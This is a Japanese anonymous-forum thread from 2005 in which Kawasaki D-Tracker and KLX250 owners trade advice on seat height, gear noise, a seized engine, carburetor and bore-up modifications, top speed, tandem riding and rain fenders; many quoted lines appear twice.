これも「規制前マンセー」の事項で、交換すると吉なのでしょうか？
これも「規制前マンセー」の事項で、交換すると吉なのでしょうか？
今度こそこっちで、ライディングスポットのリアキャリアって04型に装着可能？
Ｄトラは両足先っぽついたので風が吹いたりして体勢崩しても問題なさそうでした。
片足はべったりじゃないけどそんなにきつくなかったです。
テンプレに股下７０ぐらいはローダウン推奨ってあったけど
ローダウンする必要はないと思いました。金があるならあんこ抜きぐらいしたらいいと思うけど。
ついでにＤＲ－Ｚ４００ＳＭに跨ってきたのですけど、これはちょっときつかったです。
両足はつきません。片足のみなので左足をついていてバランスを崩して右足つくような体勢になったら
立ちごけするだろなーって思いました。
片足はべったりじゃないけどそんなにきつくなかったです。
テンプレに股下７０ぐらいはローダウン推奨ってあったけど
ローダウンする必要はないと思いました。金があるならあんこ抜きぐらいしたらいいと思うけど。
ついでにＤＲ－Ｚ４００ＳＭに跨ってきたのですけど、これはちょっときつかったです。
両足はつきません。片足のみなので左足をついていてバランスを崩して右足つくような体勢になったら
立ちごけするだろなーって思いました。
軽いから立ちゴケなんてしないって。
あと、跨ぐときに足が堅いのできつかったです。ちょっと体柔らかくするために柔軟体操する必要がありそうです。
跨ってるときも長時間乗ってると足をつりそうで怖いです。俺、体堅すぎ。
跨ってるときも長時間乗ってると足をつりそうで怖いです。俺、体堅すぎ。
両足べったりだけどたちゴケしたヘタレなおれちゃんが
ｶｴﾚ
322 ：７７４ＲＲ：2005/05/20(金) 04:48:03 ID:SbT06Oun
>>299ス、スルーされたorz
今日一速にシフトダウンしようとしたらｶﾘｶﾘｶﾘｶﾘｶﾘｶﾘってなってギアが入りませんでした。これって大丈夫なんでしょうか？異常なのかな…
今日一速にシフトダウンしようとしたらｶﾘｶﾘｶﾘｶﾘｶﾘｶﾘってなってギアが入りませんでした。これって大丈夫なんでしょうか？異常なのかな…
>322
ｶﾘｶﾘｶﾘ…ｶﾞｺﾝ!たまにあるなｗ
仕様だ､気にすんな
ｶﾘｶﾘｶﾘ…ｶﾞｺﾝ!たまにあるなｗ
仕様だ､気にすんな
>>299
前にエロい人が計算してくれたので参考までに。
D-tracker（年式01～
パワーバンド？（9000rpm
１速44.51k
２速66.76k
３速89.02k
４速106.82k
５速127.17k
６速147.71k
実際こんな回す人はいないと思うけどね～。
前にエロい人が計算してくれたので参考までに。
D-tracker（年式01～
パワーバンド？（9000rpm
１速44.51k
２速66.76k
３速89.02k
４速106.82k
５速127.17k
６速147.71k
実際こんな回す人はいないと思うけどね～。
276 名前：７７４ＲＲ 投稿日：04/07/29 21:30 ID:9xjygvpr
実質パワーバンド？（7000rpm
１速34.61k
２速51.92k
３速69.23k
４速83.08k
５速98.91k
６速114.88k
こんなんかな～。
数字だけ見ると7000でも結構引っ張ってる感が・・・
277 名前：７７４ＲＲ 投稿日：04/07/29 21:37 ID:9xjygvpr
俺って神かな？
Ｄ-trcker
燃費走行（5000rpm
１速24.72
２速37.09
３速49.45
４速59.34
５速70.65
６速82.06
今度こんな感じでツーリング行って見よう～。5000rpmキープ！
実質パワーバンド？（7000rpm
１速34.61k
２速51.92k
３速69.23k
４速83.08k
５速98.91k
６速114.88k
こんなんかな～。
数字だけ見ると7000でも結構引っ張ってる感が・・・
277 名前：７７４ＲＲ 投稿日：04/07/29 21:37 ID:9xjygvpr
俺って神かな？
Ｄ-trcker
燃費走行（5000rpm
１速24.72
２速37.09
３速49.45
４速59.34
５速70.65
６速82.06
今度こんな感じでツーリング行って見よう～。5000rpmキープ！
ﾊﾟﾜｰバンド・・・そんな言葉聞くの何年ぶりだろ。
>>316
03にライスポのそれ付けてるから大丈夫っしょ。
>>322
信号待ち後のN→1ならうちのKLXも入りにくいよ。
ちょっとだけ半クラしながら入れてる。
オイル交換したてでもそうだから仕様と思っている。
03にライスポのそれ付けてるから大丈夫っしょ。
>>322
信号待ち後のN→1ならうちのKLXも入りにくいよ。
ちょっとだけ半クラしながら入れてる。
オイル交換したてでもそうだから仕様と思っている。
ワンウェイクラッチがアボーンしてると思われ。
それか、クラッチ切れてないだけ・・・。
それか、クラッチ切れてないだけ・・・。
329 ：７７４ＲＲ：2005/05/20(金) 10:11:12 ID:8kNM91WE
漏れのなんともない。
勝ち組？
勝ち組？
あ、そうそう、俺のんはカラカラは言わないよ。
ギア周りでトラブルっつーたら慣らし中、4と5の間に1回だけNがあったことくらいか。
ギア周りでトラブルっつーたら慣らし中、4と5の間に1回だけNがあったことくらいか。
04年式のDトラ乗りですがキャブを交換しようと考えてます。
交換はお店に頼まなくてもできますか？
交換はお店に頼まなくてもできますか？
>>331
そんな質問してるようじゃ無理。
そんな質問してるようじゃ無理。
っていうか、そういう質問はオーナーズクラブでするといいよ。
自分でどうにかできる自信か、自分でどうにかする根性
これが無い奴はキャブなんかいじるんじゃねえよ
ピストンに穴があいても自分のせいと笑えるかい？
これが無い奴はキャブなんかいじるんじゃねえよ
ピストンに穴があいても自分のせいと笑えるかい？
また変な煽り方するやつが出てきたよ・・・
336 ：７７４ＲＲ：2005/05/20(金) 15:44:31 ID:8kNM91WE
仕方ないよ。一応心配してるのかもしんないし。
そもそもワンオフじゃない限り自分で出来ないチューンナップなんてありません
ショップの工賃は技術料じゃありません、あれはただの人件費です
ショップの工賃は技術料じゃありません、あれはただの人件費です
339 ：７７４ＲＲ：2005/05/20(金) 17:43:54 ID:SbT06Oun
皆さん有難う>>322です。
ﾊﾞｲｸ屋で聞いた所、ギアと何かの(忘れた)回転があってないからギアに付いてる凸が繋がる側の凹にうまく嵌まらずにｶﾘｶﾘｶﾘｶﾘｶﾘｶﾘって鳴るそうです。なので異常では無いそうです。
ﾊﾞｲｸ屋で聞いた所、ギアと何かの(忘れた)回転があってないからギアに付いてる凸が繋がる側の凹にうまく嵌まらずにｶﾘｶﾘｶﾘｶﾘｶﾘｶﾘって鳴るそうです。なので異常では無いそうです。
オイルをホンダのG3にしようと思う。安売りしてたから。問題ないよね。
FCRにするときってなんで２５０Rのオイルホースだか、
ラジエータホースが必要なの？
ラジエータホースが必要なの？
>>341
調べればすぐ分かるし、何より自分のCVKを見れば一目瞭然。
調べればすぐ分かるし、何より自分のCVKを見れば一目瞭然。
|焼|`)oO(あのね、シリンダとピストンとバルブ(?)が焼けちゃったの。でね。
|焼|A`)oO(ノーマルのシリンダとピストンに交換しようと思ったのだけど、他にこうしたらイイよってのあったら聞きたいの
|焼|'A`)oO(でもね、就職活動中の身としてはツライとこなの(´･ω･｀)
|焼|A`)oO(ノーマルのシリンダとピストンに交換しようと思ったのだけど、他にこうしたらイイよってのあったら聞きたいの
|焼|'A`)oO(でもね、就職活動中の身としてはツライとこなの(´･ω･｀)
>>343
哀|･`)oO(僕、整備勉強中で技術的な事は詳しく無いからアドバイス出来ないでつ。
哀|ω･`)oO（でも、どうしてそうなったのか聞きたいなぁと思ってるのでつ…
哀|ω･`)ﾉｼoO（嫌なら無理して言わなくていいでつよ。
哀|･`)oO(僕、整備勉強中で技術的な事は詳しく無いからアドバイス出来ないでつ。
哀|ω･`)oO（でも、どうしてそうなったのか聞きたいなぁと思ってるのでつ…
哀|ω･`)ﾉｼoO（嫌なら無理して言わなくていいでつよ。
>346
ｱﾌﾞﾗｾﾞﾐ鳴いてるね｡
Fﾌｫｰｸにもｷﾞｭﾎﾟﾀﾝ住んでるし色んな動物がいるわな
>343
が気持ち悪い件について
ｱﾌﾞﾗｾﾞﾐ鳴いてるね｡
Fﾌｫｰｸにもｷﾞｭﾎﾟﾀﾝ住んでるし色んな動物がいるわな
>343
が気持ち悪い件について
02ﾓﾃﾞﾙ250SB 3000キロ走行したバイク屋で使用されてたもの購入
購入時にホワイトブロススリップオン(バッフル入り)装着(MJはノーマルのまま)
・ツーリング・待ち乗り週300キロくらい使用
・曲乗り練習で週50キロ程使用(全部で７、８回捲くれたり前転)
・スライド練習で週50キロ程（全部でハイサイド・スリップダウン４、5回）
・サーキット一回使用（Ｓ○Ａ○入で距離150キロくらい)
・全部あわせて半年で総走行距離13000キロ
3ヶ月程乗らなくなる前にオイル交換し保管。その間1回スライド練習で50キロ程走る。2回ほどエンジンかける。
復活前に
・クリーンキャンセル
・KLX250Rエアダクト交換
・MJ118→130交換
復活後(この時点ですでに不調)
・林道50キロ使用、ツーリングで200キロ
・最高速が80キロ程しか出なく、加速でTWで負ける。
バイク屋さんに預けて原因を確認してもらうが、はっきりとわからん
・エンジン前方吸気(?)のバルブがカーボンで黒くなっていなくてはならないのに白い
・シリンダーに縦に傷?焼けてる(?)があり
・ピストンに傷あり
バイク屋さん予想
・クリーンキャンセルが原因？空気が多すぎた？
・オイルがエンジン上部まで循環されていない？(長期間の乗っていないから？)
|焼|`)oO(>>343ﾀﾝ。こげんな感じ。写真も撮った。そのうち、個人のなんかにうｐする予定(明日かなぁ)。
ぼあうｐするとぬわ満\、超えそうなだなぅ。ノーマルでも(´･ω･｀)ｼｮﾎﾞｰﾝ
>>347
|焼|'A`)oO(・・・・・・
|焼|彡ｻｯ
購入時にホワイトブロススリップオン(バッフル入り)装着(MJはノーマルのまま)
・ツーリング・待ち乗り週300キロくらい使用
・曲乗り練習で週50キロ程使用(全部で７、８回捲くれたり前転)
・スライド練習で週50キロ程（全部でハイサイド・スリップダウン４、5回）
・サーキット一回使用（Ｓ○Ａ○入で距離150キロくらい)
・全部あわせて半年で総走行距離13000キロ
3ヶ月程乗らなくなる前にオイル交換し保管。その間1回スライド練習で50キロ程走る。2回ほどエンジンかける。
復活前に
・クリーンキャンセル
・KLX250Rエアダクト交換
・MJ118→130交換
復活後(この時点ですでに不調)
・林道50キロ使用、ツーリングで200キロ
・最高速が80キロ程しか出なく、加速でTWで負ける。
バイク屋さんに預けて原因を確認してもらうが、はっきりとわからん
・エンジン前方吸気(?)のバルブがカーボンで黒くなっていなくてはならないのに白い
・シリンダーに縦に傷?焼けてる(?)があり
・ピストンに傷あり
バイク屋さん予想
・クリーンキャンセルが原因？空気が多すぎた？
・オイルがエンジン上部まで循環されていない？(長期間の乗っていないから？)
|焼|`)oO(>>343ﾀﾝ。こげんな感じ。写真も撮った。そのうち、個人のなんかにうｐする予定(明日かなぁ)。
ぼあうｐするとぬわ満\、超えそうなだなぅ。ノーマルでも(´･ω･｀)ｼｮﾎﾞｰﾝ
>>347
|焼|'A`)oO(・・・・・・
|焼|彡ｻｯ
>>349
超ド素人だけど、気になった点。
＞購入時にホワイトブロススリップオン(バッフル入り)装着(MJはノーマルのまま)
この後に、いろいろ全開走行しすぎじゃない？
社外マフラーつけたら、9割方薄い症状出るのにノーマルのまま走ったら
エンジンに何らかのダメージがあると思う。
超ド素人だけど、気になった点。
＞購入時にホワイトブロススリップオン(バッフル入り)装着(MJはノーマルのまま)
この後に、いろいろ全開走行しすぎじゃない？
社外マフラーつけたら、9割方薄い症状出るのにノーマルのまま走ったら
エンジンに何らかのダメージがあると思う。
そういや自分のｷﾞｭﾎﾟﾀﾝがいつのまにかいなくなって
(´･ω･`)ｼｮﾎﾞｰﾝ
(´･ω･`)ｼｮﾎﾞｰﾝ
＞＞３５０
デイトナやらその他のメーカーでポン付けOKみたいなマフラーあるしな。
ポン付けを鵜呑みにするのはいかんだろうが、そんなにダメージあるんかな？
折れはデイトナポン付け素人ね。交換後1万ｋｍ弱でイオン無し
これぐらいの距離じゃわからんかな
デイトナやらその他のメーカーでポン付けOKみたいなマフラーあるしな。
ポン付けを鵜呑みにするのはいかんだろうが、そんなにダメージあるんかな？
折れはデイトナポン付け素人ね。交換後1万ｋｍ弱でイオン無し
これぐらいの距離じゃわからんかな
サイレンサー変えた程度でダメージなんて無いよ。
単純に、エンジン焼き付かせるほど頭打ちさせてたって落ちだな。
単純に、エンジン焼き付かせるほど頭打ちさせてたって落ちだな。
354 ：７７４ＲＲ：2005/05/21(土) 07:51:42 ID:D3bCkoko
俺の０４年式２５０SB、ようやく慣らしが終わったので、昨日高速使って全開テストしてみた。
６速で１２８ｋｍが限界だった。
もっと出ると思ったのだが、こんなもんなん？
６速で１２８ｋｍが限界だった。
もっと出ると思ったのだが、こんなもんなん？
355 ：７７４ＲＲ：2005/05/21(土) 07:57:38 ID:ziLIyUNw
もっと出るよ｡ﾉｰﾏﾙ時代頑張って145出した事ある
>>354
それはバイクの限界じゃなくてビビリミッターのような気がする。
それはバイクの限界じゃなくてビビリミッターのような気がする。
357 ：７７４ＲＲ：2005/05/21(土) 08:27:59 ID:ZyCYlgGJ
>>355
前スレでも言ってたと思うけど皆145とかなんですね。
俺も>>354同様130前後なんだよなぁ。
けっこうまわして乗ってたつもりだったが
そのまんまの状態で一年経過（04Dトラ）
やっぱ当たりハズレなのかな、と思てた。
前スレでも言ってたと思うけど皆145とかなんですね。
俺も>>354同様130前後なんだよなぁ。
けっこうまわして乗ってたつもりだったが
そのまんまの状態で一年経過（04Dトラ）
やっぱ当たりハズレなのかな、と思てた。
体重とか体勢に問題があったのでは？
Ｄ虎じゃないからわからんが１３０位から１４０に到達するのはちょっとしんどいぞ。
うううううって感じで我慢せにゃならん。
スプロケ前後交換すりゃ１４０までは割と楽に出るかも。
さすがにダートで１４０出した時は洒落にならん怖さも感じたけど。
うううううって感じで我慢せにゃならん。
スプロケ前後交換すりゃ１４０までは割と楽に出るかも。
さすがにダートで１４０出した時は洒落にならん怖さも感じたけど。
まさか普段の姿勢のまま140km/hオーバーを
目指しているんじゃなかろうな
目指しているんじゃなかろうな
>>360がトンボ乗りで１４０キロを出すそうですよ。
>>354
ライダー乗りだ!!
ライダー乗りだ!!
トンボ乗りってスーパーマンのことですか？
ちなみに殿様乗りの最高は幾らくらいよ。
KLX-SRなんだけど、土下座みたいな感じに伏せて150km/h出たよ。
でも、120km/hまで気持ちよく加速すれば上は必要ない感じする。
オフタイヤだしビードストッパー付けてるからかもしれないが、
120km/h超えた辺りから振動が凄くて怖い。エンジンの音も心配になるぐらいうるさいし。
でも、120km/hまで気持ちよく加速すれば上は必要ない感じする。
オフタイヤだしビードストッパー付けてるからかもしれないが、
120km/h超えた辺りから振動が凄くて怖い。エンジンの音も心配になるぐらいうるさいし。
367 ：７７４ＲＲ：2005/05/21(土) 16:08:38 ID:zkQI1KqK
最高速はついでみたいな物じゃないの？
そういうの求めるバイクじゃないと思うんだけど・・・。
そういうの求めるバイクじゃないと思うんだけど・・・。
368 ：７７４ＲＲ：2005/05/21(土) 16:13:17 ID:3/xV0k5I
もしかしてD虎はビクスクより遅いとか…orz
明日、岡山国際サーキットに行ってきます。
誰か行く人います？
誰か行く人います？
行くよー。初心者クラスでツーリングしてくる
373 ：７７４ＲＲ：2005/05/21(土) 18:06:05 ID:3/xV0k5I
>>372
ですよね。こっちは大人よ
ですよね。こっちは大人よ
|焼|'A`)oO(オーバーホールしたと思うことにしやう。幾らかかるかなぁ。ヤフオクは調べてみますわ。
ｶﾞﾝｶﾞﾚ
慣らしの時はアドレスV100に抜かれた。
>>373
スマン、オレ、オフ車と並んだときはよく全開で信号ダッシュしてる…
スマン、オレ、オフ車と並んだときはよく全開で信号ダッシュしてる…
|焼|'A`)oO(たった今バイク屋さんから電話あった。部品込みで７万円くらいだそう。
詳細はまた聞いてくるが。原因はやっぱりわからんみたい。
クリーンキャンセルが可能性は低いのでは？との事。
カワサキのお店に確認もしたとの事。
オイルが循環してなかったほうが、確立高いと思うとの事。
|焼|'A`)oO(３ヶ月でも保管した場合はゆっくり乗り出さないと駄目だな。
他に何かわかれば報告しまつ。
|焼|'A`)oO(ちこっと凹んだっのが、保管前のオイル交換と復活時のオイル交換(一週間前)とLLC交換が
全部無駄になったてことだなぅ。はうぅ。
詳細はまた聞いてくるが。原因はやっぱりわからんみたい。
クリーンキャンセルが可能性は低いのでは？との事。
カワサキのお店に確認もしたとの事。
オイルが循環してなかったほうが、確立高いと思うとの事。
|焼|'A`)oO(３ヶ月でも保管した場合はゆっくり乗り出さないと駄目だな。
他に何かわかれば報告しまつ。
|焼|'A`)oO(ちこっと凹んだっのが、保管前のオイル交換と復活時のオイル交換(一週間前)とLLC交換が
全部無駄になったてことだなぅ。はうぅ。
おりも乗り初めのときはビクスクちぎってた…
マジになれば簡単にちぎれるから最近しなくなったけど…
マジになれば簡単にちぎれるから最近しなくなったけど…
マジとかちぎってたとか、ここはエライお子様のいるスレだな・・・
3ヶ月ほたったバイクを起こすなり全開くれたのですか？
|焼|'A`)oO(忘れた。
これのバイクでタンデムしてる方いますか？
常用するわけじゃないんですけど
比較的タンデムの機会が多いもので
常用するわけじゃないんですけど
比較的タンデムの機会が多いもので
タンデムもいい加減FAQだな
タンデムは普通に出来るがあくまでオマケ、決して快適ではない。
密着度が高いのでライダーは気持ちイイ場合もあるが、パッセンジャーはｲﾏｲﾁ(・A・)
タンデムは普通に出来るがあくまでオマケ、決して快適ではない。
密着度が高いのでライダーは気持ちイイ場合もあるが、パッセンジャーはｲﾏｲﾁ(・A・)
胸がバンバンあたって運転どころじゃ無いってのが俺の感想・・・
嫁の乳があたって嬉しいのか('A`)
ありがとうございました
できないことないけどやっぱりよくはないですよね
スペースの問題よりもシート形状が問題なのでしょうか？
低反発座布団つかって凌ぐことにします
できないことないけどやっぱりよくはないですよね
スペースの問題よりもシート形状が問題なのでしょうか？
低反発座布団つかって凌ぐことにします
タンデムするとこれほど乗りにくいのも珍しい。まぁオフ全般か。
RMXは一人乗り専用だったからねぇ。
394 ：７７４ＲＲ：2005/05/21(土) 23:39:31 ID:6cxy2A5v
日テレみれ
395 ：７７４ＲＲ：2005/05/21(土) 23:40:30 ID:b4U1JFkQ
矢部バイク乗ってたんだ
>>394
まじくそＧＪ
まじくそＧＪ
観てまつ(`･ω･´)ゝ
398 ：７７４ＲＲ：2005/05/21(土) 23:49:22 ID:xWb9nTV3
おおおおおお！！！！
神様降臨w
バイクの神様は・・・ＬＶ高いでつね。
神様降臨w
バイクの神様は・・・ＬＶ高いでつね。
|火|'A`)oO(だりか動画ない？
キャプった動画編集したけど、サイズが39MBもある。
しかも音声が微妙にずれてる気が,,,.orz
しかも音声が微妙にずれてる気が,,,.orz
>>400
自宅鯖でｽﾄﾘｰﾐﾝｸﾞ公開してくれ
自宅鯖でｽﾄﾘｰﾐﾝｸﾞ公開してくれ
矢部がりがり
|火|'A`)oO(>>400乙。どっかうｐローダなかったけ
一応うｐった。
後半はたらの芽の天婦羅食って温泉入っただけなのでざっくり削除してまつ。
後半はたらの芽の天婦羅食って温泉入っただけなのでざっくり削除してまつ。
GJ!!
おもすれー！
>>400
まだ見てないけど、ありがとうございます。
まだ見てないけど、ありがとうございます。
ミラーぽっきり、林道行きだしてすぐに俺もやったなあ(ﾉ∀｀)
今では私がおじいさん。つけているのはもちろん可倒式です。
今では私がおじいさん。つけているのはもちろん可倒式です。
ヴェルタース・オリジナル
412 ：７７４ＲＲ：2005/05/22(日) 23:05:36 ID:sQxNAlJr
買おうと思ってるバイクがふよふ化？
してるみたいなのですが
どういう効能があって
どんなデメリットがありますか？
してるみたいなのですが
どういう効能があって
どんなデメリットがありますか？
とりあえずマルチ氏ね
300R化に効能って無い。
キャブレターをFCR35かTMRに変更してて、マフラーを公道走行不可のモノに変更した上で
初めて、ああ、トルクあがった・・・かも？って程度。
腕磨いた方が良いなってのが俺の感想。
キャブレターをFCR35かTMRに変更してて、マフラーを公道走行不可のモノに変更した上で
初めて、ああ、トルクあがった・・・かも？って程度。
腕磨いた方が良いなってのが俺の感想。
はじめからボアップとかブレーキを換えようと思っている俺は
DR-Z４００SMにしたほうがいいですか？
DR-Z４００SMにしたほうがいいですか？
416 ：７７４ＲＲ：2005/05/23(月) 00:23:45 ID:VrvYp41U
はぁ？
ﾉｰﾏﾙの糞エンジンよりはましだろ。
ふよふ化してｷｬﾌﾞとﾏﾌﾗｰ替えたらﾉｰﾏﾙには戻したくなくなるよ。
ﾉｰﾏﾙ非力杉
ﾉｰﾏﾙの糞エンジンよりはましだろ。
ふよふ化してｷｬﾌﾞとﾏﾌﾗｰ替えたらﾉｰﾏﾙには戻したくなくなるよ。
ﾉｰﾏﾙ非力杉
417 ：412：2005/05/23(月) 00:25:45 ID:nBE1c4ET
燃費とかはやはり悪くなりますか？
418 ：７７４ＲＲ：2005/05/23(月) 00:57:37 ID:VrvYp41U
正直悪くなる。
でも、漏れはﾉｰﾏﾙの非力さを選ぶ位なら気にならない。
でも、漏れはﾉｰﾏﾙの非力さを選ぶ位なら気にならない。
今日、RSVの規制後のRSVのエキパイを安値で手に入れたんですが、疑問点がいくつか．．．
純正のエキパイについているエキパイガード？あれって無くなっても大丈夫なものですか？
社外の何もついていないエキパイの方、ズボン熔けたりしません？
以前暖気中のエキパイに触ったら科学樹脂のグローブがピザみたいにトローンとなって焦げ付いた嫌な過去があるんですが．．．_|￣|●|||
そもそもエキパイのみ交換することに意味ってあるのかなぁ．．．って感じなんですけど．．．無知ですみません。
どなたかエキパイのみ交換された方いらっしゃいませんか．．？
純正のエキパイについているエキパイガード？あれって無くなっても大丈夫なものですか？
社外の何もついていないエキパイの方、ズボン熔けたりしません？
以前暖気中のエキパイに触ったら科学樹脂のグローブがピザみたいにトローンとなって焦げ付いた嫌な過去があるんですが．．．_|￣|●|||
そもそもエキパイのみ交換することに意味ってあるのかなぁ．．．って感じなんですけど．．．無知ですみません。
どなたかエキパイのみ交換された方いらっしゃいませんか．．？
>>416
ﾍﾀｸｿが何言っても一緒ですよ。
ﾍﾀｸｿが何言っても一緒ですよ。
421 ：412：2005/05/23(月) 01:32:37 ID:nBE1c4ET
>418さん
だいたい燃費はどの程度おちましたか？
だいたい燃費はどの程度おちましたか？
300Rはセッティング出せば燃費はさして変わらない。
424 ：７７４ＲＲ：2005/05/23(月) 07:50:42 ID:OAE4IW71
300Rだと売る時、問題ありそうですね。
（乗ってる時はだいたい想像出来ますけど）
（乗ってる時はだいたい想像出来ますけど）
425 ：７７４ＲＲ：2005/05/23(月) 09:50:54 ID:VrvYp41U
426 ：７７４ＲＲ：2005/05/23(月) 10:32:27 ID:nBE1c4ET
今月Ｄトラかいました！
それで聞きたいのですが
普段からする整備（オイル補充、交換などなど簡単なことから）
おしえてください！！
バイク素人なので難しいことはまだできませんが
頑張って自分で整備、改造していきたいと思ってます
よろしくお願いします
それで聞きたいのですが
普段からする整備（オイル補充、交換などなど簡単なことから）
おしえてください！！
バイク素人なので難しいことはまだできませんが
頑張って自分で整備、改造していきたいと思ってます
よろしくお願いします
>426
普段からする整備の初歩は、
「簡単な事は自分で調べる」事。
他の単車と比べて特殊な事など無いので、
一般的な項目をクリアしてればＯＫ。
その上で分からない事ならここで聞けば宜しい。
普段からする整備の初歩は、
「簡単な事は自分で調べる」事。
他の単車と比べて特殊な事など無いので、
一般的な項目をクリアしてればＯＫ。
その上で分からない事ならここで聞けば宜しい。
>>426
>>427ももっともだけど百聞は一見に・・
まずﾏﾆｭｱﾙ買って予習し、一通りのﾒﾝﾃをバイク屋でやってもらう。
しっかり見学して次回からは自分でやる。。漏れはそうでした。
工具はそのメンテに必要なモノを少しずつ揃える。
ちなみにバイク屋で工具だけ借りるのは御法度です。
>>427ももっともだけど百聞は一見に・・
まずﾏﾆｭｱﾙ買って予習し、一通りのﾒﾝﾃをバイク屋でやってもらう。
しっかり見学して次回からは自分でやる。。漏れはそうでした。
工具はそのメンテに必要なモノを少しずつ揃える。
ちなみにバイク屋で工具だけ借りるのは御法度です。
430 ：７７４ＲＲ：2005/05/23(月) 11:57:18 ID:VrvYp41U
432 ：７７４ＲＲ：2005/05/23(月) 16:03:14 ID:o6ygD3Fn
おまいら落ち着けよ！牛乳飲んでさ
牛乳飲んだらお腹がゴロゴロしてきた
オレも暖めてから飲まないとダメなんだよな
寝付けない夜に ホットミルク。
マジオススメ。
マジオススメ。
で、250 vs 300論争だが。
300にしちまうとスーパモタードレースでおまえら頭のネジが5～6本飛んでませんか？クラスにしかエントリーできなくなるというのもある。
ので、250のままでのファインチューンが流行るんじゃないかな。
エンジンは250SR化程度、吸排気で中回転域を厚くして、足回りを最適化。
そんなことを思う月曜の午後です
300にしちまうとスーパモタードレースでおまえら頭のネジが5～6本飛んでませんか？クラスにしかエントリーできなくなるというのもある。
ので、250のままでのファインチューンが流行るんじゃないかな。
エンジンは250SR化程度、吸排気で中回転域を厚くして、足回りを最適化。
そんなことを思う月曜の午後です
ボクちゃん子供だから、砂糖タップリ挿れてね！
438 ：７７４ＲＲ：2005/05/23(月) 17:00:18 ID:aoFm2D67
439 ：蛇の目：2005/05/23(月) 17:02:38 ID:prw6r5re
ああ。エンジンじゃなくてエンジン周りだな。
エアクリーナダクトとかエキパイとか点火系とか
エアクリーナダクトとかエキパイとか点火系とか
（まあ、クランクとかフライホイールとか違うんだけどね）
>>250r化
ぐぐっても出ないので詳しく知りたい！です
ぐぐっても出ないので詳しく知りたい！です
442 ：７７４ＲＲ：2005/05/23(月) 20:45:44 ID:ZnQwBA5G
＞蛇の目氏
250R化に関してなんですけど、ノーマルCVKでアイシングラインキャンセルしたときの
キャブ側って特にメクラキャップとかせんでもホース外しとくだけでいいんですよね？
もちろんエンジン側にはメクラボルト入れますけど。
250R化に関してなんですけど、ノーマルCVKでアイシングラインキャンセルしたときの
キャブ側って特にメクラキャップとかせんでもホース外しとくだけでいいんですよね？
もちろんエンジン側にはメクラボルト入れますけど。
ググらんでもカワサキのサイトに行ってパーツリストを見比べればええがな。
で、どこが違ってるか、それがどういう効果をもたらしてるか脳みそを使ってくれ
温水キャブ機構はキャブ側はなんもせんでええやろ。多分。
で、どこが違ってるか、それがどういう効果をもたらしてるか脳みそを使ってくれ
温水キャブ機構はキャブ側はなんもせんでええやろ。多分。
てか、あれついてても凍るときは凍るんよね・・・
どうもです。
やっぱりそうですよね。
ラジエータホースも準備済みなんで近々やってみます。
やっぱりそうですよね。
ラジエータホースも準備済みなんで近々やってみます。
ところでそろそろ梅雨がやってきますが何か対策してる？
漏れは０４リアフェンダーを０３に戻しました（ケツはねがいくらか違うﾊｽﾞ）
過去スレで出てたｳﾙﾌインナーも考え中。
で、ＫＬＸのＦフェンダー（黒）を付けたいんですが誰か余ってませんか？
漏れは０４リアフェンダーを０３に戻しました（ケツはねがいくらか違うﾊｽﾞ）
過去スレで出てたｳﾙﾌインナーも考え中。
で、ＫＬＸのＦフェンダー（黒）を付けたいんですが誰か余ってませんか？
黒は無いンじゃねえ？
UFOがKX用で黒を出してるからそれを付けるとか
UFOがKX用で黒を出してるからそれを付けるとか
巾が広くなるが、KDX250純正なら黒が有る。
449 ：７７４ＲＲ：2005/05/23(月) 22:37:25 ID:zo+/VqBU
450 ：みるく ◆GASNOWzado ：2005/05/23(月) 22:43:07 ID:e7HvU3L2
ダウンフェンダーの方が絶対跳ねが少ないよ
雨対策
ヲイラは乗らねｗ
雨対策
ヲイラは乗らねｗ
ああ。そうか。黒、あるんじゃな。
んで雨対策は全くしとらん
んで雨対策は全くしとらん
みなさんレスどうも。。あれ？０５で黒ありますよ（ｴﾎﾞﾆ）
短くする人はいるけど逆は無いかな？と思いまして。
てか雨の日（夜）乗ったらライト大丈夫か？ってくらい泥はねしてた。
ＸＲの長フェンダーは伊達じゃないんだなと。。
あと本格ｵﾌﾛﾀﾞの人には笑われますが、
ＥＧ周りが汚れちゃうのがｲﾔなので角フレームにﾌﾟﾗ板でも付けようかと考え中です。
短くする人はいるけど逆は無いかな？と思いまして。
てか雨の日（夜）乗ったらライト大丈夫か？ってくらい泥はねしてた。
ＸＲの長フェンダーは伊達じゃないんだなと。。
あと本格ｵﾌﾛﾀﾞの人には笑われますが、
ＥＧ周りが汚れちゃうのがｲﾔなので角フレームにﾌﾟﾗ板でも付けようかと考え中です。
このまえ林道はしっててこけた時初めてファンが動いてるのみた。
動いててくれてありがとう。
動いててくれてありがとう。
250RのマフラーSA取ったら爆音というか、轟音。びっくらしてすぐにつけたよ。
俺も雨の日が気になるフェンダレス男なので、
ttp://www.dirtfreak.co.jp/products/drcproducts/elect/anato/main.html
これ考えている。アルミのがちょいへったてきた。問題は04のリアに幅がおさまるかどうか。
俺も雨の日が気になるフェンダレス男なので、
ttp://www.dirtfreak.co.jp/products/drcproducts/elect/anato/main.html
これ考えている。アルミのがちょいへったてきた。問題は04のリアに幅がおさまるかどうか。
455 ：７７４ＲＲ：2005/05/24(火) 00:16:18 ID:DLTRr2gZ
外装を純正で全部交換するといくらくらいかかるんですか？
456 ：みるく ◆GASNOWzado ：2005/05/24(火) 00:26:46 ID:cdW7I369
シュラウドを新型のに変えようと思って、ウェブでパーツ検索したが、
エンジンシュラウドが０４と０５で価格が全然違う。
０５のは取り付け用のカラーも込みの値段ってことなの？
エンジンシュラウドが０４と０５で価格が全然違う。
０５のは取り付け用のカラーも込みの値段ってことなの？
ありえない
デカール代ってことじゃん？
04はデカールやる気ZEROだからねぇ。
デカール無しのシュラウドは一枚\2000くらいだからなぁ。
04はデカールやる気ZEROだからねぇ。
デカール無しのシュラウドは一枚\2000くらいだからなぁ。
461 ：７７４ＲＲ：2005/05/24(火) 04:08:30 ID:qFcCwQJs
一万くらいでいいタコメーターありませんか？
アナログがいいなぁ
アナログがいいなぁ
463 ：７７４ＲＲ：2005/05/24(火) 14:22:16 ID:FU2q2cQR
おまいらに質問
Ｄ虎って
買いでﾂｶ？
Ｄ虎って
買いでﾂｶ？
KLXは買い、D虎ｊは正直ｶｯｺﾜﾙｲだけなんで。。。
ありえない
467 ：７７４ＲＲ：2005/05/24(火) 15:45:26 ID:9s5zK03K
車検がﾏﾝﾄﾞｸｾ(´д`)
ﾌﾟﾗﾓ感覚でｲｼﾞれるﾆｰｺﾞｰがよろし｡
ﾌﾟﾗﾓ感覚でｲｼﾞれるﾆｰｺﾞｰがよろし｡
俺もそう思う。金しだい。車検と本体価格、保険や税金に余裕があるなら、誰だってDRZにいくでしょ。
